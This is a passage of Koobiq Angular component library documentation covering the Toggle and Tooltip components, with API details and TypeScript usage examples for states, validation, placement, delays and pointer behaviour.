        this.toastService.show({
            style: KbqToastStyle.Success,
            title: 'Доступно \nобновление \nагента',
            caption: 'Версия: \n2.03.15 от 15 мая 2022',
            content:
                'Содержит: \n№1 - Очень важные изменения\n№2 - Менее важные изменения\n№3 - Совсем неважные изменения',
            actions,
            closeButton: true
        });
    }
}
```

## Toggle

- Entry point: `@koobiq/components/toggle`
- NgModule: `KbqToggleModule`
- Page: https://koobiq.io/en/components/toggle/overview

### Overview

**State toggle button:** on or off. For example, Wi-Fi is turned on or off on a phone.

**Example: Toggle** (`toggle-overview`)

```ts toggle-overview-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'toggle-overview-example',
    imports: [KbqToggleModule],
    template: `
        <kbq-toggle [checked]="value()" (change)="value.set($event.checked)">Wi-Fi</kbq-toggle>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class ToggleOverviewExample {
    protected readonly value = signal(false);
}
```

#### Properties

##### Disabled state

**Example: Toggle Disabled** (`toggle-disabled`)

```ts toggle-disabled-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'toggle-disabled-example',
    imports: [KbqToggleModule],
    template: `
        <kbq-toggle [checked]="value()" [disabled]="true" (change)="value.set($event.checked)">Vibration</kbq-toggle>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class ToggleDisabledExample {
    protected readonly value = signal(false);
}
```

##### Error

**Example: Toggle Error** (`toggle-error`)

```ts toggle-error-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'toggle-error-example',
    imports: [KbqToggleModule],
    template: `
        <kbq-toggle [checked]="value()" [color]="color" (change)="value.set($event.checked)">Vibration</kbq-toggle>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class ToggleErrorExample {
    protected readonly value = signal(false);
    protected readonly color = KbqComponentColors.Error;
}
```

##### Validation

To show a validation error, bind the toggle to a form control, apply `Validators.requiredTrue`, and put the error text in a `kbq-error` inside the toggle.

To show the error at another moment, pass a matcher to the `errorStateMatcher` input. The matchers are described in the [Validation guide](https://koobiq.io/en/other/validation.md).

**Example: Toggle validation** (`toggle-validation`)

```ts toggle-validation-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqError, KbqHint } from '@koobiq/components/form-field';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'toggle-validation-example',
    imports: [ReactiveFormsModule, KbqToggleModule, KbqHint, KbqError],
    template: `
        <kbq-toggle class="example-toggle-validation" [formControl]="backup">
            Automatic backup
            <kbq-hint>Turn it off to see the error</kbq-hint>
            <kbq-error>Required by the security policy of your organization</kbq-error>
        </kbq-toggle>
    `,
    // A fixed width keeps the centered example in place when the error, wider than the label, appears.
    styles: `
        .example-toggle-validation {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-align-center-center layout-row layout-padding-l'
    }
})
export class ToggleValidationExample {
    protected readonly backup = new FormControl(true, { nonNullable: true, validators: Validators.requiredTrue });
}
```

##### Indeterminate state

This state is used to reflect partial selection or uncertainty.

**Example: Toggle Indeterminate** (`toggle-indeterminate`)

```ts toggle-indeterminate-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'toggle-indeterminate-example',
    imports: [KbqToggleModule],
    template: `
        <kbq-toggle [checked]="checked()" [indeterminate]="indeterminate()" />
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class ToggleIndeterminateExample {
    protected readonly checked = signal(false);
    protected readonly indeterminate = signal(true);
}
```

##### Loading

While loading, the toggle looks inactive, ignores clicks, but stays focusable.

**Example: Toggle Loading** (`toggle-loading`)

```ts toggle-loading-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { KbqToggleChange, KbqToggleModule } from '@koobiq/components/toggle';
import { timer } from 'rxjs';

@Component({
    selector: 'toggle-loading-example',
    imports: [KbqToggleModule],
    template: `
        <kbq-toggle [checked]="checked()" [loading]="loading" (change)="handleToggle($event)" />
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-row layout-align-center-center'
    }
})
export class ToggleLoadingExample {
    protected readonly checked = signal(false);
    protected loading = false;

    handleToggle({ checked }: KbqToggleChange) {
        this.loading = true;
        timer(3000).subscribe(() => {
            this.loading = false;
            this.checked.set(checked);
        });
    }
}
```

##### Big

Use the `big` input to render the toggle with the enlarged typography of the label and the hint. The switch itself keeps its size.

#### Content

##### Hint

**Example: Toggle With Hint** (`toggle-with-hint`)

```ts toggle-with-hint-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'toggle-with-hint-example',
    imports: [KbqToggleModule, KbqFormFieldModule],
    template: `
        <div class="example-toggle-with-hint__container layout-align-center-start layout-column layout-gap-s">
            <div>Touch</div>
            <kbq-toggle>
                Tap to wake
                <kbq-hint>Wake the screen when you tap on the display</kbq-hint>
            </kbq-toggle>
            <kbq-toggle>
                Shake to undo
                <kbq-hint>
                    If you tend to share your phone by accident, you can disable Shake to Undo to prevent the Undo alert
                    from appearing.
                </kbq-hint>
            </kbq-toggle>
            <kbq-toggle>
                Vibration
                <kbq-hint>
                    When this witch is off, all vibration on your phone will be disabled, including those for
                    earthquake, tsunami and other emergency alerts.
                </kbq-hint>
            </kbq-toggle>
        </div>
    `,
    styles: `
        .example-toggle-with-hint__container {
            max-width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-align-center-center layout-row layout-padding-top-l layout-padding-bottom-3xl'
    }
})
export class ToggleWithHintExample {}
```

##### Label on the left

The toggle is placed to the right of the field name and hint block. Use `labelPosition="left"` for this layout, the default value is `right`.

**Example: Toggle multiline example** (`toggle-multiline`)

```ts toggle-multiline-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'toggle-multiline-example',
    imports: [KbqToggleModule, KbqFormFieldModule],
    template: `
        <div
            class="example-toggle-multiline__container layout-align-center-start layout-column layout-gap-s layout-padding-top-l layout-padding-left-l layout-padding-right-l layout-padding-bottom-xl "
        >
            <kbq-toggle labelPosition="left">
                Shake to undo
                <kbq-hint>
                    If you tend to share your phone by accident, you can disable
                    <span class="kbq-text-compact-strong">Shake to Undo</span>
                    to prevent the
                    <span class="kbq-text-compact-strong">Undo</span>
                    alert from appearing.
                </kbq-hint>
            </kbq-toggle>
        </div>
    `,
    styles: `
        .example-toggle-multiline__container {
            max-width: 320px;
            background: var(--kbq-background-card);
            box-shadow: var(--kbq-shadow-card);
            border-radius: var(--kbq-size-border-radius);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-align-center-center layout-row layout-margin-top-l layout-margin-bottom-l'
    }
})
export class ToggleMultilineExample {}
```

The toggle can be placed to the right and on the same line after the label.

**Example: Toggle Label Left** (`toggle-label-left`)

```ts toggle-label-left-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'toggle-label-left-example',
    imports: [KbqToggleModule],
    template: `
        <div class="example-toggle-label-left__container layout-align-center-start layout-column layout-gap-s">
            <kbq-toggle labelPosition="left" [checked]="true">Tap to wake</kbq-toggle>
            <kbq-toggle labelPosition="left">Shake to undo</kbq-toggle>
            <kbq-toggle labelPosition="left">Vibration</kbq-toggle>
        </div>
    `,
    styles: `
        .example-toggle-label-left__container {
            margin-bottom: 28px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-align-center-center layout-row layout-gap-s layout-margin-top-xxl'
    }
})
export class ToggleLabelLeftExample {}
```

#### Accessibility

Without a visible label, describe the toggle with `aria-label` or point `aria-labelledby` at an existing caption. A projected `kbq-hint` is exposed as the description of the control and is not part of its name.

The `name` and `value` inputs are forwarded to the underlying `<input type="checkbox">`, so the toggle is serialized by native form submission.

#### Recommendations

- Use a toggle for instant switching of settings that do not require confirmation. For example, changes are applied immediately without a “Save” button. If saving requires submitting a form, use a [checkbox](https://koobiq.io/en/components/checkbox.md).
- Do not use a toggle if the choice options do not fit binary logic: on or off, yes or no.
- Use `clickAction` (or the `KBQ_CHECKABLE_CLICK_ACTION` token for the whole application) to change what a click does: `check-indeterminate` is the default, `check` keeps the mixed state, and `noop` leaves the state to the application.

### API

#### Components

##### KbqToggleComponent (component)

A switch for turning an option on or off.

To show a validation error, put its text in a `kbq-error` inside the toggle bound to a form control.

```ts
@Component({ selector: 'kbq-toggle', exportAs: 'kbqToggle' })
class KbqToggleComponent extends KbqColorDirective implements CanUpdateErrorState {
    readonly errorStateMatcher = input<ErrorStateMatcher>();
    readonly big = input<boolean>(false);
    readonly labelPosition = input<ToggleLabelPositionType>('right');
    readonly ariaLabel = input<string>('', { alias: 'aria-label' });
    readonly ariaLabelledby = input<string | null>(null, {
        alias: 'aria-labelledby'
    });
    id = input<string | undefined>();
    readonly name = input<string | null>(null);
    readonly value = input<string | undefined>();
    disabled = input<boolean | undefined>();
    checked = input<boolean | undefined>();
    indeterminate = model<boolean | undefined>();
    readonly loading = input<boolean>(false);
    clickAction = input<KbqToggleClickAction | undefined>();
    readonly color = input<T | null | undefined>();
    readonly change = output<KbqToggleChange>();
    readonly errorState: Signal<boolean>;
    readonly inputElement: Signal<ElementRef<HTMLInputElement>>;
    get inputId(): string;
    get colorClassName(): string;
    updateErrorState(): void;
    focus(): void;
    getAriaChecked(): KbqCheckedState;
    onChangeEvent(event: Event): void;
    /** @deprecated */
    onLabelTextChange(): void;
    onInputClick(event: MouseEvent): void;
    setDefaultColor(color: T): void;
}
```

- `[errorStateMatcher]`: `ErrorStateMatcher` — An object used to control when the error state is shown.
- `[(indeterminate)]`: `boolean | undefined` — Whether the toggle is indeterminate. This is also known as "mixed" mode and can be used to
  represent a checkbox with three states, e.g. a checkbox that represents a nested list of
  checkable items. Note that whenever checkbox is manually clicked, indeterminate is immediately
  set to false.
- `[loading]`: `boolean` — Property for manually set loading state.
- `[clickAction]`: `KbqToggleClickAction | undefined` — Defines the behavior when a user clicks on the toggle.
- `[color]`: `T | null | undefined` — Color of the component. A value set in code holds until the input changes, and the default color is used
  while both are unset or falsy.
- `errorState`: `Signal<boolean>` — Whether the toggle is in an error state.
- `colorClassName`: `string` — current class name of color
- `updateErrorState()`: `void` — Updates the error state based on the error state matcher.
- `onLabelTextChange()`: `void` — Does nothing: the view reads nothing from the label, so a change of it needs no re-check.

  Deprecated: Kept for back-compatibility. Will be removed in 22.0.0.
- `setDefaultColor()`: `void` — this color will be used as a default value. For example [color]="'' | false | undefined | null".

#### Classes

##### KbqToggleChange (class)

Change event object emitted by `KbqToggleComponent`.

```ts
class KbqToggleChange {
    source: KbqToggleComponent;
    checked: boolean;
}
```

- `source`: `KbqToggleComponent` — The source toggle of the event.
- `checked`: `boolean` — The new `checked` value of the toggle.

#### Types

##### KbqToggleClickAction (type)

Toggle click action when user click on input element. Alias of `KbqCheckableClickAction`.

```ts
type KbqToggleClickAction = KbqCheckableClickAction;
```

##### ToggleLabelPositionType (type)

Position of the label relative to the switch.

```ts
type ToggleLabelPositionType = 'left' | 'right';
```

## Tooltip

- Entry point: `@koobiq/components/tooltip`
- NgModule: `KbqToolTipModule`
- Page: https://koobiq.io/en/components/tooltip/overview

### Overview

Tooltip — a hint that appears on hover or focus. The tooltip closes when the cursor is moved away, focus is removed, the page is scrolled, or `Esc` is pressed.

**Example: Tooltip** (`tooltip-overview`)

```ts tooltip-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'tooltip-overview-example',
    imports: [
        KbqButtonModule,
        KbqToolTipModule,
        KbqIconModule
    ],
    template: `
        <button kbq-button aria-label="Add" kbqTooltip="Create">
            <i kbq-icon="kbq-plus_16"></i>
        </button>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-row layout-align-center-center'
    }
})
export class TooltipOverviewExample {}
```

#### Width

The tooltip size is determined by its content, but the component width cannot exceed 300px.

**Example: Tooltip width** (`tooltip-width`)

```ts tooltip-width-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { PopUpPlacements } from '@koobiq/components/core';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'tooltip-width-example',
    imports: [
        KbqButtonModule,
        KbqToolTipModule
    ],
    template: `
        <button kbq-button kbqTooltip="Tooltip">Tooltip</button>
        <button
            kbq-button
            kbqTooltip="A tooltip is a hint that appears when the pointer hovers over or focuses on an interface element. A tooltip cannot contain interactive elements."
        >
            Max Width
        </button>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-row layout-align-center-center layout-gap-l'
    }
})
export class TooltipWidthExample {
    placement: PopUpPlacements = PopUpPlacements.Top;
}
```

Sometimes it's more convenient if the text in the tooltip doesn't wrap and is displayed on a single line. For example, when comparing checksums, outputting email addresses, or file and folder paths. For such cases, don't limit the tooltip width.

**Example: Tooltip wide width** (`tooltip-wide-width`)

```ts tooltip-wide-width-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'tooltip-wide-width-example',
    imports: [KbqToolTipModule],
    template: `
        <span
            kbqTooltip="9f1c2e4a8b7d3f6c5e2a1d9b0c4e7f8a6d3c2b1a9e8f7d6c5b4a3e2d1c0f9a8"
            [kbqTooltipClass]="'example__wide-tooltip'"
        >
            9f1c...f9a8
        </span>
    `,
    styles: `
        ::ng-deep .example__wide-tooltip.kbq-tooltip {
            --kbq-tooltip-size-max-width: 454px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-row layout-align-center-center layout-gap-l'
    }
})
export class TooltipWideWidthExample {}
```

##### Style

**Example: Tooltip style** (`tooltip-style`)

```ts tooltip-style-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'tooltip-style-example',
    imports: [
        KbqButtonModule,
        KbqToolTipModule
    ],
    template: `
        <button kbq-button kbqTooltip="Tooltip" [kbqTooltipColor]="KbqComponentColors.Contrast">
            Contrast (default)
        </button>

        <button kbq-button kbqTooltip="Tooltip" [kbqTooltipColor]="KbqComponentColors.ContrastFade">
            Contrast Fade
        </button>

        <button kbq-button kbqTooltip="Tooltip" [kbqTooltipColor]="KbqComponentColors.Error">Error</button>

        <button kbq-button kbqTooltip="Tooltip" [kbqTooltipColor]="KbqComponentColors.Warning">Warning</button>

        <button kbq-button kbqTooltip="Tooltip" [kbqTooltipColor]="KbqComponentColors.Theme">Theme</button>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-row layout-align-center-center layout-gap-l'
    }
})
export class TooltipStyleExample {
    KbqComponentColors = KbqComponentColors;
}
```

##### Arrow

Add a pointer arrow when it can be confusing which element the hint relates to.

`kbqTooltipArrowCentered` moves only the arrow to the center of the trigger; the panel keeps its alignment. It requires a visible arrow (`[kbqTooltipArrow]="true"`) and defaults to `false`.

**Example: Tooltip arrow** (`tooltip-arrow`)

```ts tooltip-arrow-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'tooltip-arrow-example',
    imports: [
        KbqButtonModule,
        KbqToolTipModule
    ],
    template: `
        <button kbq-button kbqTooltip="Tooltip without arrow">No arrow</button>
        <button kbq-button kbqTooltip="Tooltip with arrow" kbqPlacement="bottomRight" [kbqTooltipArrow]="true">
            With arrow
        </button>
        <button
            kbq-button
            kbqTooltip="Tooltip with centered arrow"
            kbqPlacement="bottomRight"
            [kbqTooltipArrow]="true"
            [kbqTooltipArrowCentered]="true"
        >
            Centered arrow
        </button>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-row layout-align-center-center layout-gap-l'
    }
})
export class TooltipArrowExample {}
```

#### Positioning

##### Relative to Element

In normal circumstances, the tooltip opens at the top centered. The position near the trigger element can be adjusted manually.

Choose a position where the tooltip won't cover content that the user will interact with next. For example, in a vertical list, open tooltips to the side so the hint doesn't interfere with viewing the neighboring element in the reading direction.

**Example: Tooltip placements** (`tooltip-placements`)

```ts tooltip-placements-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'tooltip-placements-example',
    imports: [KbqToolTipModule, KbqButtonModule],
    template: `
        <div class="layout-row layout-gap-l layout-align-center-center">
            <button kbqTooltip="{{ tooltipText }}" kbq-button [kbqPlacement]="'topLeft'" [kbqTooltipArrow]="true">
                topLeft
            </button>
            <button kbqTooltip="{{ tooltipText }}" kbq-button [kbqPlacement]="'top'" [kbqTooltipArrow]="true">
                top
            </button>
            <button kbqTooltip="{{ tooltipText }}" kbq-button [kbqPlacement]="'topRight'" [kbqTooltipArrow]="true">
                topRight
            </button>
        </div>

        <br />

        <div class="layout-row layout-gap-l layout-align-space-between">
            <button kbqTooltip="{{ tooltipText }}" kbq-button [kbqPlacement]="'leftTop'" [kbqTooltipArrow]="true">
                leftTop
            </button>
            <button kbqTooltip="{{ tooltipText }}" kbq-button [kbqPlacement]="'rightTop'" [kbqTooltipArrow]="true">
                rightTop
            </button>
        </div>

        <br />

        <div class="layout-row layout-gap-l layout-align-space-between">
            <button kbqTooltip="{{ tooltipText }}" kbq-button [kbqPlacement]="'left'" [kbqTooltipArrow]="true">
                left
            </button>
            <button kbqTooltip="{{ tooltipText }}" kbq-button [kbqPlacement]="'right'" [kbqTooltipArrow]="true">
                right
            </button>
        </div>

        <br />

        <div class="layout-row layout-gap-l layout-align-space-between">
            <button kbqTooltip="{{ tooltipText }}" kbq-button [kbqPlacement]="'leftBottom'" [kbqTooltipArrow]="true">
                leftBottom
            </button>
            <button kbqTooltip="{{ tooltipText }}" kbq-button [kbqPlacement]="'rightBottom'" [kbqTooltipArrow]="true">
                rightBottom
            </button>
        </div>

        <br />

        <div class="layout-row layout-gap-l layout-align-center-center">
            <button kbqTooltip="{{ tooltipText }}" kbq-button [kbqPlacement]="'bottomLeft'" [kbqTooltipArrow]="true">
                bottomLeft
            </button>
            <button kbqTooltip="{{ tooltipText }}" kbq-button [kbqPlacement]="'bottom'" [kbqTooltipArrow]="true">
                bottom
            </button>
            <button kbqTooltip="{{ tooltipText }}" kbq-button [kbqPlacement]="'bottomRight'" [kbqTooltipArrow]="true">
                bottomRight
            </button>
        </div>
    `,
    styles: `
        :host {
            display: block;

            max-width: 734px;
            margin: 0 auto;

            .kbq-button {
                width: 134px;
            }
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TooltipPlacementsExample {
    tooltipText =
        'A tooltip is a hint that appears when the pointer hovers over or focuses on an interface element. A tooltip cannot contain interactive elements.';
}
```

##### Position Priority

If there isn't enough space to display the tooltip, it will open on the opposite side. The kbqPlacementPriority attribute helps configure fallback positions if they need to differ from the default order.

##### Near the Cursor

When configuring kbqRelativeToPointer="true", the tooltip is positioned relative to the cursor. This is often needed for long strings (checksums, email, paths) so the hint appears right at the cursor.

**Example: Tooltip relative to pointer** (`tooltip-relative-to-pointer`)

```ts tooltip-relative-to-pointer-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'tooltip-relative-to-pointer-example',
    imports: [
        KbqButtonModule,
        KbqToolTipModule
    ],
    template: `
        <button kbq-button kbqTooltip="relativeToPointer" [kbqRelativeToPointer]="true">
            Button with a tooltip positioned relative to the cursor
        </button>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-row layout-align-center-center'
    }
})
export class TooltipRelativeToPointerExample {}
```

##### Near the Caret

The tooltip can open next to the text caret in an editable field. Its position updates as the user types, moves the caret or scrolls the field. When text is selected, the tooltip anchors to the selection.

**Example: Tooltip relative to caret** (`tooltip-relative-to-caret`)

```ts tooltip-relative-to-caret-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqTextareaModule } from '@koobiq/components/textarea';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'tooltip-relative-to-caret-example',
    imports: [
        KbqFormFieldModule,
        KbqInputModule,
        KbqTextareaModule,
        KbqToolTipModule
    ],
    template: `
        <kbq-form-field>
            <input
                #inputTooltip="kbqTooltip"
                kbqInput
                placeholder="Type here"
                [kbqPlacement]="'top'"
                [kbqRelativeToCaret]="true"
                [kbqTooltip]="'Follows the caret'"
                [kbqTrigger]="'manual'"
                (input)="inputTooltip.show()"
                (blur)="inputTooltip.hide()"
            />
        </kbq-form-field>

        <kbq-form-field>
            <textarea
                #textareaTooltip="kbqTooltip"
                kbqTextarea
                placeholder="Type here"
                [kbqPlacement]="'top'"
                [kbqRelativeToCaret]="true"
                [kbqTooltip]="'Follows the caret'"
                [kbqTrigger]="'manual'"
                (input)="textareaTooltip.show()"
                (blur)="textareaTooltip.hide()"
            ></textarea>
        </kbq-form-field>
    `,
    styles: `
        kbq-form-field {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-column layout-align-center-center layout-gap-l'
    }
})
export class TooltipRelativeToCaretExample {}
```

Set `kbqRelativeToCaret="true"` to enable this mode. Use `kbqRelativeToCaretVertical` to control the tooltip's vertical position: `field` places it above or below the whole field, while `line` places it next to the line containing the caret. By default, `auto` uses `field` for a single-line `input` and `line` for a `textarea` and `contenteditable`. Horizontally, the tooltip follows the caret in both modes. All tooltip placements remain available.

If the browser cannot determine the caret's position, the tooltip anchors to the field. This may happen with `password`, `email` and `number` inputs, right-to-left text, or centered and right-aligned text. When the tooltip is attached to a container, it uses the first editable element inside it.

#### Offset

**Example: Tooltip offset** (`tooltip-offset`)

```ts tooltip-offset-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'tooltip-offset-example',
    imports: [
        KbqButtonModule,
        KbqToolTipModule
    ],
    template: `
        <button kbq-button kbqTooltip="Tooltip">Default</button>
        <button kbq-button kbqTooltip="Tooltip" [kbqTooltipArrow]="true">Default with arrow</button>
        <button kbq-button kbqTooltip="Tooltip" [kbqTooltipOffset]="0">0px</button>
        <button kbq-button kbqTooltip="Tooltip" [kbqTooltipOffset]="32">32px</button>
        <button kbq-button kbqTooltip="Tooltip" [kbqTooltipOffset]="-8">-8px</button>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-row layout-align-center-center layout-gap-l'
    }
})
export class TooltipOffsetExample {}
```

#### Delay

When hovering over an element, the tooltip appears with a 0.4 second delay and disappears instantly.

When switching focus or hovering over another element with a tooltip, the delay works as follows:

- The first tooltip appears with standard delay,
- Subsequent tooltips appear instantly,
- If the previous element's tooltip has disappeared and more than 2 seconds have passed, the 0.4 second delay applies again.

**Example: tooltip-hide-with-timeout** (`tooltip-hide-with-timeout`)

```ts tooltip-hide-with-timeout-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'tooltip-hide-with-timeout-example',
    imports: [
        KbqButtonModule,
        KbqToolTipModule,
        KbqIconModule
    ],
    template: `
        @for (item of [1, 2, 3, 4, 5, 6]; track item) {
            <button kbqTooltip="Action{{ item }}" kbq-button aria-label="Diamond">
                <i kbq-icon="kbq-diamond_16"></i>
            </button>
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-row layout-align-center-center layout-gap-m'
    }
})
export class TooltipHideWithTimeoutExample {}
```

#### Moving the Cursor onto the Tooltip

The tooltip receives pointer events, so moving the cursor from the trigger onto the tooltip itself does not
close it. This matters for users who read at high magnification, where the pointer often ends up over the
tooltip, and for tooltips that take a while to read (WCAG 1.4.13 "Content on Hover or Focus"). Combine it with
`[hideWithTimeout]="true"` and `kbqLeaveDelay` to give the cursor time to travel to the tooltip — see the
Interactive Tooltip example.

Set `[ignoreTooltipPointerEvents]="true"` for the opposite behavior: the tooltip becomes transparent to the
pointer and clicks pass through to whatever is underneath it. Use it for tooltips that float over other click
targets — for example the overflow hints of a scrolling option list, where a pointer-capturing tooltip would
swallow the click that selects the neighboring option.

Before v20 the tooltip ignored pointer events by default, so this reverses on upgrade: markup that relied on
clicks passing through now has to ask for it. The built-in overflow hints (`kbq-title`, `kbqEllipsisCenter`,
the option and timezone-option hints) already opt out on their own, and so does any tooltip whose `kbqTrigger`
is `manual` or `none` — hovering such a pane neither keeps it open nor closes it, so there is nothing for a
pointer-capturing pane to protect.

#### Only One Tooltip at a Time

At most one tooltip is on screen: showing a new one closes the previously opened tooltip. The rule applies to tooltips opened by `hover`, `focus`, `click` or `keydown` — including the `kbq-title` and `kbqEllipsisCenter` hints.

Tooltips driven programmatically (`kbqTrigger="manual"`) stay out of the rule: they neither close other tooltips nor get closed. Validation hints work this way.

To opt a single tooltip out, use `[kbqTooltipSingleInstance]="false"`; to change the default for the whole application, provide the `KBQ_TOOLTIP_SINGLE_INSTANCE_DEFAULT` token:

```ts
providers: [{ provide: KBQ_TOOLTIP_SINGLE_INSTANCE_DEFAULT, useValue: false }];
```

#### Usage Examples

##### Tooltip for Disabled Button

If a certain button or function is unavailable, the tooltip can explain why.

**Example: Tooltip disabled** (`tooltip-disabled`)

```ts tooltip-disabled-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'tooltip-disabled-example',
    imports: [KbqToolTipModule, KbqButtonModule, KbqIconModule],
    template: `
        <div kbqTooltip="This item is locked and cannot be deleted" [forDisabledComponent]="button">
            <button #button kbq-button [disabled]="true">
                <i kbq-icon="kbq-trash_16"></i>
                Delete
            </button>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-row layout-align-center-center'
    }
})
export class TooltipDisabledExample {}
```

##### Custom Hints

For special cases, you can change the tooltip dimensions and place more than just text inside it. Use the Contrast-fade style, which is similar to the application background, to ensure content contrast against the tooltip background.

**Example: Tooltip extended** (`tooltip-extended`)

```ts tooltip-extended-example.ts
import { NgOptimizedImage } from '@angular/common';
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqDivider } from '@koobiq/components/divider';
import { KbqLink } from '@koobiq/components/link';
import { KbqTableModule } from '@koobiq/components/table';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'tooltip-extended-example',
    imports: [
        KbqButtonModule,
        KbqToolTipModule,
        KbqDivider,
        KbqTableModule,
        KbqLink,
        NgOptimizedImage
    ],
    template: `
        <p class="layout-margin-no-top layout-margin-no-bottom">
            A low Earth orbit (LEO) is an
            <a
                kbqLink
                href="https://en.wikipedia.org/wiki/Geocentric_orbit"
                [kbqTooltip]="tooltipContent"
                [kbqTooltipClass]="'example__custom-tooltip'"
                [kbqTooltipArrow]="true"
                [kbqTooltipColor]="extendedTooltipPreferredColor"
            >
                orbit around
            </a>
            Earth with a period of 128 minutes or less (making at least 11.25 orbits per day) and an eccentricity less
            than 0.25. Most of the artificial objects in outer space are in LEO, peaking in number at an altitude around
            800 km (500 mi), while the farthest in LEO, before medium Earth orbit (MEO), have an altitude of 2,000
            kilometers, about one-third of the radius of Earth and near the beginning of the inner Van Allen radiation
            belt.
        </p>

        <button
            kbq-button
            [kbqTooltip]="tableContent"
            [kbqTooltipClass]="'example__custom-extended-tooltip'"
            [kbqTooltipColor]="extendedTooltipPreferredColor"
        >
            Table Data
        </button>

        <ng-template #tooltipContent>
            <img
                class="example__custom-tooltip-img"
